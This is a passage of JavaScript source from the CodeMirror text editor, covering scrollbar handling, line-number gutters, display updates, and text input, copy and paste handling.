options.gutters = options.gutters.concat(["CodeMirror-linenumbers"]);
} else if (found > -1 && !options.lineNumbers) {
options.gutters = options.gutters.slice(0);
options.gutters.splice(found, 1);
}
}
// SCROLLBARS
// Prepare DOM reads needed to update the scrollbars. Done in one
// shot to minimize update/measure roundtrips.
function measureForScrollbars(cm) {
var d = cm.display, gutterW = d.gutters.offsetWidth;
var docH = Math.round(cm.doc.height + paddingVert(cm.display));
return {
clientHeight: d.scroller.clientHeight,
viewHeight: d.wrapper.clientHeight,
scrollWidth: d.scroller.scrollWidth, clientWidth: d.scroller.clientWidth,
viewWidth: d.wrapper.clientWidth,
barLeft: cm.options.fixedGutter ? gutterW : 0,
docHeight: docH,
scrollHeight: docH + scrollGap(cm) + d.barHeight,
nativeBarWidth: d.nativeBarWidth,
gutterWidth: gutterW
};
}
function NativeScrollbars(place, scroll, cm) {
this.cm = cm;
var vert = this.vert = elt("div", [elt("div", null, null, "min-width: 1px")], "CodeMirror-vscrollbar");
var horiz = this.horiz = elt("div", [elt("div", null, null, "height: 100%; min-height: 1px")], "CodeMirror-hscrollbar");
place(vert); place(horiz);
on(vert, "scroll", function() {
if (vert.clientHeight) scroll(vert.scrollTop, "vertical");
});
on(horiz, "scroll", function() {
if (horiz.clientWidth) scroll(horiz.scrollLeft, "horizontal");
});
this.checkedZeroWidth = false;
// Need to set a minimum width to see the scrollbar on IE7 (but must not set it on IE8).
if (ie && ie_version < 8) this.horiz.style.minHeight = this.vert.style.minWidth = "18px";
}
NativeScrollbars.prototype = copyObj({
update: function(measure) {
var needsH = measure.scrollWidth > measure.clientWidth + 1;
var needsV = measure.scrollHeight > measure.clientHeight + 1;
var sWidth = measure.nativeBarWidth;
if (needsV) {
this.vert.style.display = "block";
this.vert.style.bottom = needsH ? sWidth + "px" : "0";
var totalHeight = measure.viewHeight - (needsH ? sWidth : 0);
// A bug in IE8 can cause this value to be negative, so guard it.
this.vert.firstChild.style.height =
Math.max(0, measure.scrollHeight - measure.clientHeight + totalHeight) + "px";
} else {
this.vert.style.display = "";
this.vert.firstChild.style.height = "0";
}
if (needsH) {
this.horiz.style.display = "block";
this.horiz.style.right = needsV ? sWidth + "px" : "0";
this.horiz.style.left = measure.barLeft + "px";
var totalWidth = measure.viewWidth - measure.barLeft - (needsV ? sWidth : 0);
this.horiz.firstChild.style.width =
(measure.scrollWidth - measure.clientWidth + totalWidth) + "px";
} else {
this.horiz.style.display = "";
this.horiz.firstChild.style.width = "0";
}
if (!this.checkedZeroWidth && measure.clientHeight > 0) {
if (sWidth == 0) this.zeroWidthHack();
this.checkedZeroWidth = true;
}
return {right: needsV ? sWidth : 0, bottom: needsH ? sWidth : 0};
},
setScrollLeft: function(pos) {
if (this.horiz.scrollLeft != pos) this.horiz.scrollLeft = pos;
if (this.disableHoriz) this.enableZeroWidthBar(this.horiz, this.disableHoriz);
},
setScrollTop: function(pos) {
if (this.vert.scrollTop != pos) this.vert.scrollTop = pos;
if (this.disableVert) this.enableZeroWidthBar(this.vert, this.disableVert);
},
zeroWidthHack: function() {
var w = mac && !mac_geMountainLion ? "12px" : "18px";
this.horiz.style.height = this.vert.style.width = w;
this.horiz.style.pointerEvents = this.vert.style.pointerEvents = "none";
this.disableHoriz = new Delayed;
this.disableVert = new Delayed;
},
enableZeroWidthBar: function(bar, delay) {
bar.style.pointerEvents = "auto";
function maybeDisable() {
// To find out whether the scrollbar is still visible, we
// check whether the element under the pixel in the bottom
// left corner of the scrollbar box is the scrollbar box
// itself (when the bar is still visible) or its filler child
// (when the bar is hidden). If it is still visible, we keep
// it enabled, if it's hidden, we disable pointer events.
var box = bar.getBoundingClientRect();
var elt = document.elementFromPoint(box.left + 1, box.bottom - 1);
if (elt != bar) bar.style.pointerEvents = "none";
else delay.set(1000, maybeDisable);
}
delay.set(1000, maybeDisable);
},
clear: function() {
var parent = this.horiz.parentNode;
parent.removeChild(this.horiz);
parent.removeChild(this.vert);
}
}, NativeScrollbars.prototype);
function NullScrollbars() {}
NullScrollbars.prototype = copyObj({
update: function() { return {bottom: 0, right: 0}; },
setScrollLeft: function() {},
setScrollTop: function() {},
clear: function() {}
}, NullScrollbars.prototype);
CodeMirror.scrollbarModel = {"native": NativeScrollbars, "null": NullScrollbars};
function initScrollbars(cm) {
if (cm.display.scrollbars) {
cm.display.scrollbars.clear();
if (cm.display.scrollbars.addClass)
rmClass(cm.display.wrapper, cm.display.scrollbars.addClass);
}
cm.display.scrollbars = new CodeMirror.scrollbarModel[cm.options.scrollbarStyle](function(node) {
cm.display.wrapper.insertBefore(node, cm.display.scrollbarFiller);
// Prevent clicks in the scrollbars from killing focus
on(node, "mousedown", function() {
if (cm.state.focused) setTimeout(function() { cm.display.input.focus(); }, 0);
});
node.setAttribute("cm-not-content", "true");
}, function(pos, axis) {
if (axis == "horizontal") setScrollLeft(cm, pos);
else setScrollTop(cm, pos);
}, cm);
if (cm.display.scrollbars.addClass)
addClass(cm.display.wrapper, cm.display.scrollbars.addClass);
}
function updateScrollbars(cm, measure) {
if (!measure) measure = measureForScrollbars(cm);
var startWidth = cm.display.barWidth, startHeight = cm.display.barHeight;
updateScrollbarsInner(cm, measure);
for (var i = 0; i < 4 && startWidth != cm.display.barWidth || startHeight != cm.display.barHeight; i++) {
if (startWidth != cm.display.barWidth && cm.options.lineWrapping)
updateHeightsInViewport(cm);
updateScrollbarsInner(cm, measureForScrollbars(cm));
startWidth = cm.display.barWidth; startHeight = cm.display.barHeight;
}
}
// Re-synchronize the fake scrollbars with the actual size of the
// content.
function updateScrollbarsInner(cm, measure) {
var d = cm.display;
var sizes = d.scrollbars.update(measure);
d.sizer.style.paddingRight = (d.barWidth = sizes.right) + "px";
d.sizer.style.paddingBottom = (d.barHeight = sizes.bottom) + "px";
d.heightForcer.style.borderBottom = sizes.bottom + "px solid transparent"
if (sizes.right && sizes.bottom) {
d.scrollbarFiller.style.display = "block";
d.scrollbarFiller.style.height = sizes.bottom + "px";
d.scrollbarFiller.style.width = sizes.right + "px";
} else d.scrollbarFiller.style.display = "";
if (sizes.bottom && cm.options.coverGutterNextToScrollbar && cm.options.fixedGutter) {
d.gutterFiller.style.display = "block";
d.gutterFiller.style.height = sizes.bottom + "px";
d.gutterFiller.style.width = measure.gutterWidth + "px";
} else d.gutterFiller.style.display = "";
}
// Compute the lines that are visible in a given viewport (defaults
// the the current scroll position). viewport may contain top,
// height, and ensure (see op.scrollToPos) properties.
function visibleLines(display, doc, viewport) {
var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;
top = Math.floor(top - paddingTop(display));
var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;
var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
// Ensure is a {from: {line, ch}, to: {line, ch}} object, and
// forces those lines into the viewport (if possible).
if (viewport && viewport.ensure) {
var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;
if (ensureFrom < from) {
from = ensureFrom;
to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight);
} else if (Math.min(ensureTo, doc.lastLine()) >= to) {
from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight);
to = ensureTo;
}
}
return {from: from, to: Math.max(to, from + 1)};
}
// LINE NUMBERS
// Re-align line numbers and gutter marks to compensate for
// horizontal scrolling.
function alignHorizontally(cm) {
var display = cm.display, view = display.view;
if (!display.alignWidgets && (!display.gutters.firstChild || !cm.options.fixedGutter)) return;
var comp = compensateForHScroll(display) - display.scroller.scrollLeft + cm.doc.scrollLeft;
var gutterW = display.gutters.offsetWidth, left = comp + "px";
for (var i = 0; i < view.length; i++) if (!view[i].hidden) {
if (cm.options.fixedGutter) {
if (view[i].gutter)
view[i].gutter.style.left = left;
if (view[i].gutterBackground)
view[i].gutterBackground.style.left = left;
}
var align = view[i].alignable;
if (align) for (var j = 0; j < align.length; j++)
align[j].style.left = left;
}
if (cm.options.fixedGutter)
display.gutters.style.left = (comp + gutterW) + "px";
}
// Used to ensure that the line number gutter is still the right
// size for the current document size. Returns true when an update
// is needed.
function maybeUpdateLineNumberWidth(cm) {
if (!cm.options.lineNumbers) return false;
var doc = cm.doc, last = lineNumberFor(cm.options, doc.first + doc.size - 1), display = cm.display;
if (last.length != display.lineNumChars) {
var test = display.measure.appendChild(elt("div", [elt("div", last)],
"CodeMirror-linenumber CodeMirror-gutter-elt"));
var innerW = test.firstChild.offsetWidth, padding = test.offsetWidth - innerW;
display.lineGutter.style.width = "";
display.lineNumInnerWidth = Math.max(innerW, display.lineGutter.offsetWidth - padding) + 1;
display.lineNumWidth = display.lineNumInnerWidth + padding;
display.lineNumChars = display.lineNumInnerWidth ? last.length : -1;
display.lineGutter.style.width = display.lineNumWidth + "px";
updateGutterSpace(cm);
return true;
}
return false;
}
function lineNumberFor(options, i) {
return String(options.lineNumberFormatter(i + options.firstLineNumber));
}
// Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
// but using getBoundingClientRect to get a sub-pixel-accurate
// result.
function compensateForHScroll(display) {
return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left;
}
// DISPLAY DRAWING
function DisplayUpdate(cm, viewport, force) {
var display = cm.display;
this.viewport = viewport;
// Store some values that we'll need later (but don't want to force a relayout for)
this.visible = visibleLines(display, cm.doc, viewport);
this.editorIsHidden = !display.wrapper.offsetWidth;
this.wrapperHeight = display.wrapper.clientHeight;
this.wrapperWidth = display.wrapper.clientWidth;
this.oldDisplayWidth = displayWidth(cm);
this.force = force;
this.dims = getDimensions(cm);
this.events = [];
}
DisplayUpdate.prototype.signal = function(emitter, type) {
if (hasHandler(emitter, type))
this.events.push(arguments);
};
DisplayUpdate.prototype.finish = function() {
for (var i = 0; i < this.events.length; i++)
signal.apply(null, this.events[i]);
};
function maybeClipScrollbars(cm) {
var display = cm.display;
if (!display.scrollbarsClipped && display.scroller.offsetWidth) {
display.nativeBarWidth = display.scroller.offsetWidth - display.scroller.clientWidth;
display.heightForcer.style.height = scrollGap(cm) + "px";
display.sizer.style.marginBottom = -display.nativeBarWidth + "px";
display.sizer.style.borderRightWidth = scrollGap(cm) + "px";
display.scrollbarsClipped = true;
}
}
// Does the actual updating of the line display. Bails out
// (returning false) when there is nothing to be done and forced is
// false.
function updateDisplayIfNeeded(cm, update) {
var display = cm.display, doc = cm.doc;
if (update.editorIsHidden) {
resetView(cm);
return false;
}
// Bail out if the visible area is already rendered and nothing changed.
if (!update.force &&
update.visible.from >= display.viewFrom && update.visible.to <= display.viewTo &&
(display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo) &&
display.renderedView == display.view && countDirtyView(cm) == 0)
return false;
if (maybeUpdateLineNumberWidth(cm)) {
resetView(cm);
update.dims = getDimensions(cm);
}
// Compute a suitable new viewport (from & to)
var end = doc.first + doc.size;
var from = Math.max(update.visible.from - cm.options.viewportMargin, doc.first);
var to = Math.min(end, update.visible.to + cm.options.viewportMargin);
if (display.viewFrom < from && from - display.viewFrom < 20) from = Math.max(doc.first, display.viewFrom);
if (display.viewTo > to && display.viewTo - to < 20) to = Math.min(end, display.viewTo);
if (sawCollapsedSpans) {
from = visualLineNo(cm.doc, from);
to = visualLineEndNo(cm.doc, to);
}
var different = from != display.viewFrom || to != display.viewTo ||
display.lastWrapHeight != update.wrapperHeight || display.lastWrapWidth != update.wrapperWidth;
adjustView(cm, from, to);
display.viewOffset = heightAtLine(getLine(cm.doc, display.viewFrom));
// Position the mover div to align with the current scroll position
cm.display.mover.style.top = display.viewOffset + "px";
var toUpdate = countDirtyView(cm);
if (!different && toUpdate == 0 && !update.force && display.renderedView == display.view &&
(display.updateLineNumbers == null || display.updateLineNumbers >= display.viewTo))
return false;
// For big changes, we hide the enclosing element during the
// update, since that speeds up the operations on most browsers.
var focused = activeElt();
if (toUpdate > 4) display.lineDiv.style.display = "none";
patchDisplay(cm, display.updateLineNumbers, update.dims);
if (toUpdate > 4) display.lineDiv.style.display = "";
display.renderedView = display.view;
// There might have been a widget with a focused element that got
// hidden or updated, if so re-focus it.
if (focused && activeElt() != focused && focused.offsetHeight) focused.focus();
// Prevent selection and cursors from interfering with the scroll
// width and height.
removeChildren(display.cursorDiv);
removeChildren(display.selectionDiv);
display.gutters.style.height = display.sizer.style.minHeight = 0;
if (different) {
display.lastWrapHeight = update.wrapperHeight;
display.lastWrapWidth = update.wrapperWidth;
startWorker(cm, 400);
}
display.updateLineNumbers = null;
return true;
}
function postUpdateDisplay(cm, update) {
var viewport = update.viewport;
for (var first = true;; first = false) {
if (!first || !cm.options.lineWrapping || update.oldDisplayWidth == displayWidth(cm)) {
// Clip forced viewport to actual scrollable area.
if (viewport && viewport.top != null)
viewport = {top: Math.min(cm.doc.height + paddingVert(cm.display) - displayHeight(cm), viewport.top)};
// Updated line heights might result in the drawn area not
// actually covering the viewport. Keep looping until it does.
update.visible = visibleLines(cm.display, cm.doc, viewport);
if (update.visible.from >= cm.display.viewFrom && update.visible.to <= cm.display.viewTo)
break;
}
if (!updateDisplayIfNeeded(cm, update)) break;
updateHeightsInViewport(cm);
var barMeasure = measureForScrollbars(cm);
updateSelection(cm);
updateScrollbars(cm, barMeasure);
setDocumentHeight(cm, barMeasure);
}
update.signal(cm, "update", cm);
if (cm.display.viewFrom != cm.display.reportedViewFrom || cm.display.viewTo != cm.display.reportedViewTo) {
update.signal(cm, "viewportChange", cm, cm.display.viewFrom, cm.display.viewTo);
cm.display.reportedViewFrom = cm.display.viewFrom; cm.display.reportedViewTo = cm.display.viewTo;
}
}
function updateDisplaySimple(cm, viewport) {
var update = new DisplayUpdate(cm, viewport);
if (updateDisplayIfNeeded(cm, update)) {
updateHeightsInViewport(cm);
postUpdateDisplay(cm, update);
var barMeasure = measureForScrollbars(cm);
updateSelection(cm);
updateScrollbars(cm, barMeasure);
setDocumentHeight(cm, barMeasure);
update.finish();
}
}
function setDocumentHeight(cm, measure) {
cm.display.sizer.style.minHeight = measure.docHeight + "px";
cm.display.heightForcer.style.top = measure.docHeight + "px";
cm.display.gutters.style.height = (measure.docHeight + cm.display.barHeight + scrollGap(cm)) + "px";
}
// Read the actual heights of the rendered lines, and update their
// stored heights to match.
function updateHeightsInViewport(cm) {
var display = cm.display;
var prevBottom = display.lineDiv.offsetTop;
for (var i = 0; i < display.view.length; i++) {
var cur = display.view[i], height;
if (cur.hidden) continue;
if (ie && ie_version < 8) {
var bot = cur.node.offsetTop + cur.node.offsetHeight;
height = bot - prevBottom;
prevBottom = bot;
} else {
var box = cur.node.getBoundingClientRect();
height = box.bottom - box.top;
}
var diff = cur.line.height - height;
if (height < 2) height = textHeight(display);
if (diff > .001 || diff < -.001) {
updateLineHeight(cur.line, height);
updateWidgetHeight(cur.line);
if (cur.rest) for (var j = 0; j < cur.rest.length; j++)
updateWidgetHeight(cur.rest[j]);
}
}
}
// Read and store the height of line widgets associated with the
// given line.
function updateWidgetHeight(line) {
if (line.widgets) for (var i = 0; i < line.widgets.length; ++i)
line.widgets[i].height = line.widgets[i].node.parentNode.offsetHeight;
}
// Do a bulk-read of the DOM positions and sizes needed to draw the
// view, so that we don't interleave reading and writing to the DOM.
function getDimensions(cm) {
var d = cm.display, left = {}, width = {};
var gutterLeft = d.gutters.clientLeft;
for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
left[cm.options.gutters[i]] = n.offsetLeft + n.clientLeft + gutterLeft;
width[cm.options.gutters[i]] = n.clientWidth;
}
return {fixedPos: compensateForHScroll(d),
gutterTotalWidth: d.gutters.offsetWidth,
gutterLeft: left,
gutterWidth: width,
wrapperWidth: d.wrapper.clientWidth};
}
// Sync the actual display DOM structure with display.view, removing
// nodes for lines that are no longer in view, and creating the ones
// that are not there yet, and updating the ones that are out of
// date.
function patchDisplay(cm, updateNumbersFrom, dims) {
var display = cm.display, lineNumbers = cm.options.lineNumbers;
var container = display.lineDiv, cur = container.firstChild;
function rm(node) {
var next = node.nextSibling;
// Works around a throw-scroll bug in OS X Webkit
if (webkit && mac && cm.display.currentWheelTarget == node)
node.style.display = "none";
else
node.parentNode.removeChild(node);
return next;
}
var view = display.view, lineN = display.viewFrom;
// Loop over the elements in the view, syncing cur (the DOM nodes
// in display.lineDiv) with the view as we go.
for (var i = 0; i < view.length; i++) {
var lineView = view[i];
if (lineView.hidden) {
} else if (!lineView.node || lineView.node.parentNode != container) { // Not drawn yet
var node = buildLineElement(cm, lineView, lineN, dims);
container.insertBefore(node, cur);
} else { // Already drawn
while (cur != lineView.node) cur = rm(cur);
var updateNumber = lineNumbers && updateNumbersFrom != null &&
updateNumbersFrom <= lineN && lineView.lineNumber;
if (lineView.changes) {
if (indexOf(lineView.changes, "gutter") > -1) updateNumber = false;
updateLineForChanges(cm, lineView, lineN, dims);
}
if (updateNumber) {
removeChildren(lineView.lineNumber);
lineView.lineNumber.appendChild(document.createTextNode(lineNumberFor(cm.options, lineN)));
}
cur = lineView.node.nextSibling;
}
lineN += lineView.size;
}
while (cur) cur = rm(cur);
}
// When an aspect of a line changes, a string is added to
// lineView.changes. This updates the relevant part of the line's
// DOM structure.
function updateLineForChanges(cm, lineView, lineN, dims) {
for (var j = 0; j < lineView.changes.length; j++) {
var type = lineView.changes[j];
if (type == "text") updateLineText(cm, lineView);
else if (type == "gutter") updateLineGutter(cm, lineView, lineN, dims);
else if (type == "class") updateLineClasses(lineView);
else if (type == "widget") updateLineWidgets(cm, lineView, dims);
}
lineView.changes = null;
}
// Lines with gutter elements, widgets or a background class need to
// be wrapped, and have the extra elements added to the wrapper div
function ensureLineWrapped(lineView) {
if (lineView.node == lineView.text) {
lineView.node = elt("div", null, null, "position: relative");
if (lineView.text.parentNode)
lineView.text.parentNode.replaceChild(lineView.node, lineView.text);
lineView.node.appendChild(lineView.text);
if (ie && ie_version < 8) lineView.node.style.zIndex = 2;
}
return lineView.node;
}
function updateLineBackground(lineView) {
var cls = lineView.bgClass ? lineView.bgClass + " " + (lineView.line.bgClass || "") : lineView.line.bgClass;
if (cls) cls += " CodeMirror-linebackground";
if (lineView.background) {
if (cls) lineView.background.className = cls;
else { lineView.background.parentNode.removeChild(lineView.background); lineView.background = null; }
} else if (cls) {
var wrap = ensureLineWrapped(lineView);
lineView.background = wrap.insertBefore(elt("div", null, cls), wrap.firstChild);
}
}
// Wrapper around buildLineContent which will reuse the structure
// in display.externalMeasured when possible.
function getLineContent(cm, lineView) {
var ext = cm.display.externalMeasured;
if (ext && ext.line == lineView.line) {
cm.display.externalMeasured = null;
lineView.measure = ext.measure;
return ext.built;
}
return buildLineContent(cm, lineView);
}
// Redraw the line's text. Interacts with the background and text
// classes because the mode may output tokens that influence these
// classes.
function updateLineText(cm, lineView) {
var cls = lineView.text.className;
var built = getLineContent(cm, lineView);
if (lineView.text == lineView.node) lineView.node = built.pre;
lineView.text.parentNode.replaceChild(built.pre, lineView.text);
lineView.text = built.pre;
if (built.bgClass != lineView.bgClass || built.textClass != lineView.textClass) {
lineView.bgClass = built.bgClass;
lineView.textClass = built.textClass;
updateLineClasses(lineView);
} else if (cls) {
lineView.text.className = cls;
}
}
function updateLineClasses(lineView) {
updateLineBackground(lineView);
if (lineView.line.wrapClass)
ensureLineWrapped(lineView).className = lineView.line.wrapClass;
else if (lineView.node != lineView.text)
lineView.node.className = "";
var textClass = lineView.textClass ? lineView.textClass + " " + (lineView.line.textClass || "") : lineView.line.textClass;
lineView.text.className = textClass || "";
}
function updateLineGutter(cm, lineView, lineN, dims) {
if (lineView.gutter) {
lineView.node.removeChild(lineView.gutter);
lineView.gutter = null;
}
if (lineView.gutterBackground) {
lineView.node.removeChild(lineView.gutterBackground);
lineView.gutterBackground = null;
}
if (lineView.line.gutterClass) {
var wrap = ensureLineWrapped(lineView);
lineView.gutterBackground = elt("div", null, "CodeMirror-gutter-background " + lineView.line.gutterClass,
"left: " + (cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) +
"px; width: " + dims.gutterTotalWidth + "px");
wrap.insertBefore(lineView.gutterBackground, lineView.text);
}
var markers = lineView.line.gutterMarkers;
if (cm.options.lineNumbers || markers) {
var wrap = ensureLineWrapped(lineView);
var gutterWrap = lineView.gutter = elt("div", null, "CodeMirror-gutter-wrapper", "left: " +
(cm.options.fixedGutter ? dims.fixedPos : -dims.gutterTotalWidth) + "px");
cm.display.input.setUneditable(gutterWrap);
wrap.insertBefore(gutterWrap, lineView.text);
if (lineView.line.gutterClass)
gutterWrap.className += " " + lineView.line.gutterClass;
if (cm.options.lineNumbers && (!markers || !markers["CodeMirror-linenumbers"]))
lineView.lineNumber = gutterWrap.appendChild(
elt("div", lineNumberFor(cm.options, lineN),
"CodeMirror-linenumber CodeMirror-gutter-elt",
"left: " + dims.gutterLeft["CodeMirror-linenumbers"] + "px; width: "
+ cm.display.lineNumInnerWidth + "px"));
if (markers) for (var k = 0; k < cm.options.gutters.length; ++k) {
var id = cm.options.gutters[k], found = markers.hasOwnProperty(id) && markers[id];
if (found)
gutterWrap.appendChild(elt("div", [found], "CodeMirror-gutter-elt", "left: " +
dims.gutterLeft[id] + "px; width: " + dims.gutterWidth[id] + "px"));
}
}
}
function updateLineWidgets(cm, lineView, dims) {
if (lineView.alignable) lineView.alignable = null;
for (var node = lineView.node.firstChild, next; node; node = next) {
var next = node.nextSibling;
if (node.className == "CodeMirror-linewidget")
lineView.node.removeChild(node);
}
insertLineWidgets(cm, lineView, dims);
}
// Build a line's DOM representation from scratch
function buildLineElement(cm, lineView, lineN, dims) {
var built = getLineContent(cm, lineView);
lineView.text = lineView.node = built.pre;
if (built.bgClass) lineView.bgClass = built.bgClass;
if (built.textClass) lineView.textClass = built.textClass;
updateLineClasses(lineView);
updateLineGutter(cm, lineView, lineN, dims);
insertLineWidgets(cm, lineView, dims);
return lineView.node;
}
// A lineView may contain multiple logical lines (when merged by
// collapsed spans). The widgets for all of them need to be drawn.
function insertLineWidgets(cm, lineView, dims) {
insertLineWidgetsFor(cm, lineView.line, lineView, dims, true);
if (lineView.rest) for (var i = 0; i < lineView.rest.length; i++)
insertLineWidgetsFor(cm, lineView.rest[i], lineView, dims, false);
}
function insertLineWidgetsFor(cm, line, lineView, dims, allowAbove) {
if (!line.widgets) return;
var wrap = ensureLineWrapped(lineView);
for (var i = 0, ws = line.widgets; i < ws.length; ++i) {
var widget = ws[i], node = elt("div", [widget.node], "CodeMirror-linewidget");
if (!widget.handleMouseEvents) node.setAttribute("cm-ignore-events", "true");
positionLineWidget(widget, node, lineView, dims);
cm.display.input.setUneditable(node);
if (allowAbove && widget.above)
wrap.insertBefore(node, lineView.gutter || lineView.text);
else
wrap.appendChild(node);
signalLater(widget, "redraw");
}
}
function positionLineWidget(widget, node, lineView, dims) {
if (widget.noHScroll) {
(lineView.alignable || (lineView.alignable = [])).push(node);
var width = dims.wrapperWidth;
node.style.left = dims.fixedPos + "px";
if (!widget.coverGutter) {
width -= dims.gutterTotalWidth;
node.style.paddingLeft = dims.gutterTotalWidth + "px";
}
node.style.width = width + "px";
}
if (widget.coverGutter) {
node.style.zIndex = 5;
node.style.position = "relative";
if (!widget.noHScroll) node.style.marginLeft = -dims.gutterTotalWidth + "px";
}
}
// POSITION OBJECT
// A Pos instance represents a position within the text.
var Pos = CodeMirror.Pos = function(line, ch) {
if (!(this instanceof Pos)) return new Pos(line, ch);
this.line = line; this.ch = ch;
};
// Compare two positions, return 0 if they are the same, a negative
// number when a is less, and a positive number otherwise.
var cmp = CodeMirror.cmpPos = function(a, b) { return a.line - b.line || a.ch - b.ch; };
function copyPos(x) {return Pos(x.line, x.ch);}
function maxPos(a, b) { return cmp(a, b) < 0 ? b : a; }
function minPos(a, b) { return cmp(a, b) < 0 ? a : b; }
// INPUT HANDLING
function ensureFocus(cm) {
if (!cm.state.focused) { cm.display.input.focus(); onFocus(cm); }
}
// This will be set to a {lineWise: bool, text: [string]} object, so
// that, when pasting, we know what kind of selections the copied
// text was made out of.
var lastCopied = null;
function applyTextInput(cm, inserted, deleted, sel, origin) {
var doc = cm.doc;
cm.display.shift = false;
if (!sel) sel = doc.sel;
var paste = cm.state.pasteIncoming || origin == "paste";
var textLines = doc.splitLines(inserted), multiPaste = null
// When pasing N lines into N selections, insert one line per selection
if (paste && sel.ranges.length > 1) {
if (lastCopied && lastCopied.text.join("\n") == inserted) {
if (sel.ranges.length % lastCopied.text.length == 0) {
multiPaste = [];
for (var i = 0; i < lastCopied.text.length; i++)
multiPaste.push(doc.splitLines(lastCopied.text[i]));
}
} else if (textLines.length == sel.ranges.length) {
multiPaste = map(textLines, function(l) { return [l]; });
}
}
// Normal behavior is to insert the new text into every selection
for (var i = sel.ranges.length - 1; i >= 0; i--) {
var range = sel.ranges[i];
var from = range.from(), to = range.to();
if (range.empty()) {
if (deleted && deleted > 0) // Handle deletion
from = Pos(from.line, from.ch - deleted);
else if (cm.state.overwrite && !paste) // Handle overwrite
to = Pos(to.line, Math.min(getLine(doc, to.line).text.length, to.ch + lst(textLines).length));
else if (lastCopied && lastCopied.lineWise && lastCopied.text.join("\n") == inserted)
from = to = Pos(from.line, 0)
}
var updateInput = cm.curOp.updateInput;
var changeEvent = {from: from, to: to, text: multiPaste ? multiPaste[i % multiPaste.length] : textLines,
origin: origin || (paste ? "paste" : cm.state.cutIncoming ? "cut" : "+input")};
makeChange(cm.doc, changeEvent);
signalLater(cm, "inputRead", cm, changeEvent);
}
if (inserted && !paste)
triggerElectric(cm, inserted);
ensureCursorVisible(cm);
cm.curOp.updateInput = updateInput;
cm.curOp.typing = true;
cm.state.pasteIncoming = cm.state.cutIncoming = false;
}
function handlePaste(e, cm) {
var pasted = e.clipboardData && e.clipboardData.getData("Text");
if (pasted) {
e.preventDefault();
if (!cm.isReadOnly() && !cm.options.disableInput)
runInOp(cm, function() { applyTextInput(cm, pasted, 0, null, "paste"); });
return true;
}
}
function triggerElectric(cm, inserted) {
// When an 'electric' character is inserted, immediately trigger a reindent
if (!cm.options.electricChars || !cm.options.smartIndent) return;
var sel = cm.doc.sel;
for (var i = sel.ranges.length - 1; i >= 0; i--) {
var range = sel.ranges[i];
if (range.head.ch > 100 || (i && sel.ranges[i - 1].head.line == range.head.line)) continue;
var mode = cm.getModeAt(range.head);
var indented = false;
if (mode.electricChars) {
for (var j = 0; j < mode.electricChars.length; j++)
if (inserted.indexOf(mode.electricChars.charAt(j)) > -1) {
indented = indentLine(cm, range.head.line, "smart");
break;
}
} else if (mode.electricInput) {
if (mode.electricInput.test(getLine(cm.doc, range.head.line).text.slice(0, range.head.ch)))
indented = indentLine(cm, range.head.line, "smart");
}
if (indented) signalLater(cm, "electricInput", cm, range.head.line);
}
}
function copyableRanges(cm) {
var text = [], ranges = [];
for (var i = 0; i < cm.doc.sel.ranges.length; i++) {
var line = cm.doc.sel.ranges[i].head.line;
var lineRange = {anchor: Pos(line, 0), head: Pos(line + 1, 0)};
ranges.push(lineRange);
text.push(cm.getRange(lineRange.anchor, lineRange.head));
}
return {text: text, ranges: ranges};
}
function disableBrowserMagic(field, spellcheck) {
field.setAttribute("autocorrect", "off");
field.setAttribute("autocapitalize", "off");
field.setAttribute("spellcheck", !!spellcheck);
}
// TEXTAREA INPUT STYLE
function TextareaInput(cm) {
this.cm = cm;
// See input.poll and input.reset
this.prevInput = "";
// Flag that indicates whether we expect input to appear real soon
// now (after some event like 'keypress' or 'input') and are
// polling intensively.
this.pollingFast = false;
// Self-resetting timeout for the poller
this.polling = new Delayed();
// Tracks when input.reset has punted to just putting a short
// string into the textarea instead of the full selection.
this.inaccurateSelection = false;
// Used to work around IE issue with selection being forgotten when focus moves away from textarea
this.hasSelection = false;
this.composing = null;
};
function hiddenTextarea() {
var te = elt("textarea", null, null, "position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none");
var div = elt("div", [te], null, "overflow: hidden; position: relative; width: 3px; height: 0px;");
// The textarea is kept positioned near the cursor to prevent the
// fact that it'll be scrolled into view on input from scrolling
// our fake cursor out of view. On webkit, when wrap=off, paste is
// very slow. So make the area wide instead.
if (webkit) te.style.width = "1000px";
else te.setAttribute("wrap", "off");
// If border: 0; -- iOS fails to open keyboard (issue #1287)
if (ios) te.style.border = "1px solid black";
disableBrowserMagic(te);
return div;
}
TextareaInput.prototype = copyObj({
init: function(display) {
var input = this, cm = this.cm;
// Wraps and hides input textarea
var div = this.wrapper = hiddenTextarea();
// The semihidden textarea that is focused when the editor is
// focused, and receives input.
var te = this.textarea = div.firstChild;
display.wrapper.insertBefore(div, display.wrapper.firstChild);
// Needed to hide big blue blinking cursor on Mobile Safari (doesn't seem to work in iOS 8 anymore)
if (ios) te.style.width = "0px";
on(te, "input", function() {
if (ie && ie_version >= 9 && input.hasSelection) input.hasSelection = null;
input.poll();
});
on(te, "paste", function(e) {
if (signalDOMEvent(cm, e) || handlePaste(e, cm)) return
cm.state.pasteIncoming = true;
input.fastPoll();
});
function prepareCopyCut(e) {
if (signalDOMEvent(cm, e)) return
if (cm.somethingSelected()) {
lastCopied = {lineWise: false, text: cm.getSelections()};
if (input.inaccurateSelection) {
input.prevInput = "";
input.inaccurateSelection = false;
te.value = lastCopied.text.join("\n");
selectInput(te);
}
} else if (!cm.options.lineWiseCopyCut) {
return;
} else {
var ranges = copyableRanges(cm);
lastCopied = {lineWise: true, text: ranges.text};
if (e.type == "cut") {
cm.setSelections(ranges.ranges, null, sel_dontScroll);
} else {
input.prevInput = "";
te.value = ranges.text.join("\n");
selectInput(te);
}
}
if (e.type == "cut") cm.state.cutIncoming = true;
}
on(te, "cut", prepareCopyCut);
on(te, "copy", prepareCopyCut);
on(display.scroller, "paste", function(e) {
